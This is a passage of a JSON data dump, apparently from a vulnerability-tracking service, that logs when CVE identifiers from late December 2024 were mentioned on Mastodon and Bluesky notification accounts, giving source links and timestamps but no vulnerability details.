"CVE-2024-12929", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le66zf7ikg2a", "content": "", "creation_timestamp": "2024-12-26T00:15:35.875157Z"}, {"uuid": "12e2940d-bfaa-4f95-b754-f62fea649e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12930", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113716532079090499", "content": "", "creation_timestamp": "2024-12-26T01:29:36.437373Z"}, {"uuid": "314a5d1f-5abc-48ad-8682-978c4b0ccfa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12930", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6fqhtmn22i", "content": "", "creation_timestamp": "2024-12-26T02:15:52.727758Z"}, {"uuid": "0e6df28e-8e9f-486a-9a0d-c9fcee958057", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12931", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113716859337895197", "content": "", "creation_timestamp": "2024-12-26T02:52:50.027552Z"}, {"uuid": "1241bb33-a4f9-4b8e-8894-94c0d5d03e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12932", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113716905332308143", "content": "", "creation_timestamp": "2024-12-26T03:04:31.792613Z"}, {"uuid": "3feb1828-d893-413f-a635-9701ca541b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12931", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6j3t4mti2c", "content": "", "creation_timestamp": "2024-12-26T03:15:55.108037Z"}, {"uuid": "6f442670-b209-4466-ac84-6c15c4a49605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12932", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6j3vaych2m", "content": "", "creation_timestamp": "2024-12-26T03:15:57.030791Z"}, {"uuid": "97608277-f95e-46fd-a48a-c3123c402199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12933", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717033736419617", "content": "", "creation_timestamp": "2024-12-26T03:37:11.199625Z"}, {"uuid": "c5fddb3a-04d5-489f-b551-dd119df872c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12934", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717134068548136", "content": "", "creation_timestamp": "2024-12-26T04:02:42.111786Z"}, {"uuid": "c041416a-ea1e-4ee4-b6fe-7b63ca6d4fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12652", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717171014006026", "content": "", "creation_timestamp": "2024-12-26T04:12:05.837376Z"}, {"uuid": "788d45b2-818d-4331-be3c-e06c6dc927bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12652", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6mfwxpih2a", "content": "", "creation_timestamp": "2024-12-26T04:15:15.350919Z"}, {"uuid": "626cc907-9489-4477-93d6-2681847364e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12933", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6mg2jcnl2o", "content": "", "creation_timestamp": "2024-12-26T04:15:18.792041Z"}, {"uuid": "7d0b0c5e-f065-4dc2-a4ae-342a6e9baecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12934", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6mg4zcwz2e", "content": "", "creation_timestamp": "2024-12-26T04:15:21.531943Z"}, {"uuid": "842cbd01-179b-46e8-845a-5917ba888c06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12935", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717258271569788", "content": "", "creation_timestamp": "2024-12-26T04:34:17.230993Z"}, {"uuid": "af1f6fa0-a52c-47ea-a5f9-ffd386fa1861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12936", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717362767707549", "content": "", "creation_timestamp": "2024-12-26T05:00:51.734986Z"}, {"uuid": "b9902372-c7a1-41fa-b75c-0bfbcfaf7c1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12935", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6prqp6fn2l", "content": "", "creation_timestamp": "2024-12-26T05:15:33.196700Z"}, {"uuid": "a47a0212-c3f1-4870-b64b-1fe5cc65d55b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12936", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6prst2o225", "content": "", "creation_timestamp": "2024-12-26T05:15:35.497069Z"}, {"uuid": "111d0319-8c78-4ed1-b2fa-e8476c88f6b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12938", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717603134015061", "content": "", "creation_timestamp": "2024-12-26T06:01:59.897146Z"}, {"uuid": "3e6fe95b-de74-4f85-880f-285b3915487e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12937", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6t4r3m7h2m", "content": "", "creation_timestamp": "2024-12-26T06:15:23.610061Z"}, {"uuid": "053c43d6-b963-481a-befc-441ea70c7773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12938", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6t4tadq222", "content": "", "creation_timestamp": "2024-12-26T06:15:25.360625Z"}, {"uuid": "1b5c772c-fe92-459d-83bf-e646d53c9876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12939", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717739699820540", "content": "", "creation_timestamp": "2024-12-26T06:36:43.269917Z"}, {"uuid": "db8e8fd9-a06d-4a50-8294-c7573fb5d55a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12940", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717854312283474", "content": "", "creation_timestamp": "2024-12-26T07:05:52.159778Z"}, {"uuid": "fa1a0587-3420-4e75-853e-1d78f2142d46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12939", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6whxkuoh25", "content": "", "creation_timestamp": "2024-12-26T07:15:20.275663Z"}, {"uuid": "da6ec334-9f1a-4740-af35-bf653bf5f7fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12940", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6whzualc2i", "content": "", "creation_timestamp": "2024-12-26T07:15:22.735915Z"}, {"uuid": "2f619499-7ca9-4af4-82f0-7d8fc5506583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/volk149.bsky.social/post/3le6win26uc2g", "content": "", "creation_timestamp": "2024-12-26T07:15:43.949135Z"}, {"uuid": "f7b0fbcc-4b66-4e11-b77c-cf3e342b1a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12942", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718072802078139", "content": "", "creation_timestamp": "2024-12-26T08:01:25.964973Z"}, {"uuid": "d1c50970-2571-49f2-a816-802fb78dd257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12941", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6ztcm6jw2o", "content": "", "creation_timestamp": "2024-12-26T08:15:22.955363Z"}, {"uuid": "44e2495b-9f9a-4d06-a859-b25ecdc08ed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12942", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6ztflwyg2o", "content": "", "creation_timestamp": "2024-12-26T08:15:25.671481Z"}, {"uuid": "33a47f89-1e23-4caf-a96b-2caaf1ac7c37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12943", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718200229503703", "content": "", "creation_timestamp": "2024-12-26T08:33:50.407382Z"}, {"uuid": "242a0b5b-92d0-44e2-89bc-a0c0949ee9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12944", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718341108919197", "content": "", "creation_timestamp": "2024-12-26T09:09:40.078321Z"}, {"uuid": "2aa77576-408c-4016-9eb6-42986a75b3d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12943", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le756pspvs2i", "content": "", "creation_timestamp": "2024-12-26T09:15:26.779662Z"}, {"uuid": "26326fbb-fea2-4944-a5fe-df6e52e503b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12944", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le756sbvow22", "content": "", "creation_timestamp": "2024-12-26T09:15:29.259717Z"}, {"uuid": "093b988a-3c47-4e6b-80a8-6bbb9ed1e025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12945", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718441625348921", "content": "", "creation_timestamp": "2024-12-26T09:35:13.658563Z"}, {"uuid": "6e68b9ce-7e2d-4144-a737-922fc3969842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12945", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7ajrwkmm2o", "content": "", "creation_timestamp": "2024-12-26T10:15:19.166440Z"}, {"uuid": "0f535740-3223-41c5-84ce-1a5d45345e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12946", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7ajyd77h2k", "content": "", "creation_timestamp": "2024-12-26T10:15:26.011996Z"}, {"uuid": "84c3f8ba-1070-4da8-8a20-5e49f814d0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12947", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718691299726941", "content": "", "creation_timestamp": "2024-12-26T10:38:43.553875Z"}, {"uuid": "a7d81810-2480-4b36-8d55-c349df94e4ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12948", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718788954636657", "content": "", "creation_timestamp": "2024-12-26T11:03:33.901819Z"}, {"uuid": "120a8bf8-929e-4b62-9a4a-0b293f3ae71d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://bsky.app/profile/happygeek.bsky.social/post/3le7dllukqs2r", "content": "", "creation_timestamp": "2024-12-26T11:10:03.783163Z"}, {"uuid": "19e067e3-c913-4648-982e-e4868c37ace4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://bsky.app/profile/happygeek.bsky.social/post/3le7dllukqs2r", "content": "", "creation_timestamp": "2024-12-26T11:10:03.831994Z"}, {"uuid": "b661b462-2282-4463-8c8e-c9b808119529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://bsky.app/profile/happygeek.bsky.social/post/3le7dllukqs2r", "content": "", "creation_timestamp": "2024-12-26T11:10:03.875901Z"}, {"uuid": "a0c3edcc-baa0-4d1d-8502-04295cb83c93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12947", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7dv3zlii25", "content": "", "creation_timestamp": "2024-12-26T11:15:20.014050Z"}, {"uuid": "affb6ce7-13d5-4ada-8b2c-2932b163cb56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12948", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7dv6jvsh25", "content": "", "creation_timestamp": "2024-12-26T11:15:22.791734Z"}, {"uuid": "8b557d8b-5fdc-4511-af52-93d27f35f124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12949", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718906436240416", "content": "", "creation_timestamp": "2024-12-26T11:33:26.324619Z"}, {"uuid": "2a3b20a6-c07e-466f-8486-27fd0c66b4f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12950", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719038878794043", "content": "", "creation_timestamp": "2024-12-26T12:07:07.209817Z"}, {"uuid": "ceb79466-d026-4e04-a3a7-c8fd5657baa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12949", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7hagnfkz2f", "content": "", "creation_timestamp": "2024-12-26T12:15:21.424153Z"}, {"uuid": "f6692832-e7d5-401e-b374-5f7b1f6832df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12950", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7hajnsuj2i", "content": "", "creation_timestamp": "2024-12-26T12:15:24.358895Z"}, {"uuid": "841d45f3-c645-480a-a800-76864dc61951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3le7hvcttcj2z", "content": "", "creation_timestamp": "2024-12-26T12:27:02.768281Z"}, {"uuid": "d686c573-95e6-48da-99d1-bb67d7428ebf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3le7hvcttcj2z", "content": "", "creation_timestamp": "2024-12-26T12:27:02.839276Z"}, {"uuid": "a96493fa-c7dd-475d-9de6-c0c8d66b44b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3le7hvcttcj2z", "content": "", "creation_timestamp": "2024-12-26T12:27:02.887127Z"}, {"uuid": "9b98bf91-e3e1-4d60-b20a-293334422b2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12952", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719255887020190", "content": "", "creation_timestamp": "2024-12-26T13:02:18.427934Z"}, {"uuid": "799b64b0-6de4-42c6-9ddc-1676d449c26f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12951", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7klrcclq2c", "content": "", "creation_timestamp": "2024-12-26T13:15:23.286395Z"}, {"uuid": "6a2d588f-b4f8-41d3-9090-8470c1c1b659", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12952", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7klu7hrj2i", "content": "", "creation_timestamp": "2024-12-26T13:15:25.886284Z"}, {"uuid": "0738c427-237e-4b44-b74b-68028d4bbda6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12953", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719382770221979", "content": "", "creation_timestamp": "2024-12-26T13:34:34.594033Z"}, {"uuid": "e5b601a0-dd90-465f-b2ec-3249613a4ec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3le7lw5fc4e2s", "content": "", "creation_timestamp": "2024-12-26T13:39:04.916334Z"}, {"uuid": "854ad4cb-0b16-4d18-933d-c71b090b7031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3le7lw5fc4e2s", "content": "", "creation_timestamp": "2024-12-26T13:39:04.970351Z"}, {"uuid": "9558cf34-a9ca-4919-a6e2-39082f53b0f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3le7lw5fc4e2s", "content": "", "creation_timestamp": "2024-12-26T13:39:05.017130Z"}, {"uuid": "ebe6c0d4-8edd-4e59-91e9-e272bc9cc73a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12954", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719509804974954", "content": "", "creation_timestamp": "2024-12-26T14:06:52.908796Z"}, {"uuid": "fa053c3a-2cff-4df8-b1b1-0df52bc64ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12955", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719618869596614", "content": "", "creation_timestamp": "2024-12-26T14:34:37.089437Z"}, {"uuid": "1dd8a139-e3ab-4468-9507-d91538f8aebf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12956", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719746074741440", "content": "", "creation_timestamp": "2024-12-26T15:06:58.102533Z"}, {"uuid": "b36d58e1-60d4-40f1-9810-8285a10922bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12958", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719850594149504", "content": "", "creation_timestamp": "2024-12-26T15:33:33.006378Z"}, {"uuid": "8ce8f15e-16af-4834-a3ea-a7894290d09b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12908", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719903362852151", "content": "", "creation_timestamp": "2024-12-26T15:46:58.198290Z"}, {"uuid": "66cbed36-5a2e-4bcb-882b-463e3a7844a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12959", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719979875603309", "content": "", "creation_timestamp": "2024-12-26T16:06:25.793278Z"}, {"uuid": "eb816925-be16-4330-ac1f-1ae8b7bfeacf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12960", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113720336433090004", "content": "", "creation_timestamp": "2024-12-26T17:37:06.305006Z"}, {"uuid": "f396519f-b68b-45a9-8d09-6feadfa78923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12961", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113720432239573683", "content": "", "creation_timestamp": "2024-12-26T18:01:28.103353Z"}, {"uuid": "25511e59-45a5-48f7-8b89-53a616ba2fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12962", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113720670272522449", "content": "", "creation_timestamp": "2024-12-26T19:02:00.464986Z"}, {"uuid": "0817f1f6-c056-4592-a7d8-2a7c6b52b628", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12963", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113720813157342640", "content": "", "creation_timestamp": "2024-12-26T19:38:20.607683Z"}, {"uuid": "d0c5f2c5-d614-4d68-bc08-177fca7115d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12964", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113720908529913266", "content": "", "creation_timestamp": "2024-12-26T20:02:35.753655Z"}, {"uuid": "0023fa57-e25b-4b9c-9d09-d5f1099a9ab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12965", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113721045858695417", "content": "", "creation_timestamp": "2024-12-26T20:37:31.227955Z"}, {"uuid": "d653f4ff-58f2-42c2-8791-89a90a322ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12966", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113721140540808089", "content": "", "creation_timestamp": "2024-12-26T21:01:36.001787Z"}, {"uuid": "cfbd6249-618b-4f25-9c83-67d09250412c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12967", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113721264813426211", "content": "", "creation_timestamp": "2024-12-26T21:33:12.319642Z"}, {"uuid": "99e52448-6878-45f1-b199-12a382461d94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12968", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113721385308527959", "content": "", "creation_timestamp": "2024-12-26T22:03:50.791014Z"}, {"uuid": "3c12f12a-5ed2-4686-97f6-4f93745816b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12969", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leam4pdojb25", "content": "", "creation_timestamp": "2024-12-26T23:15:25.059922Z"}, {"uuid": "220b2452-947c-42bd-8a79-c1935e1bda8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12977", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113722323447112270", "content": "", "creation_timestamp": "2024-12-27T02:02:25.995609Z"}, {"uuid": "ac24111a-8578-4f9b-9c61-85d1674a5a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12976", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leaw6jiwpo2k", "content": "", "creation_timestamp": "2024-12-27T02:15:23.854245Z"}, {"uuid": "bd70646d-6c9a-4ea9-8bb8-1dd8e0a049f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12977", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leaw6lwpoc2i", "content": "", "creation_timestamp": "2024-12-27T02:15:26.132277Z"}, {"uuid": "16d7a9d9-63cd-4ba9-ab1b-4c9d735cf1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": 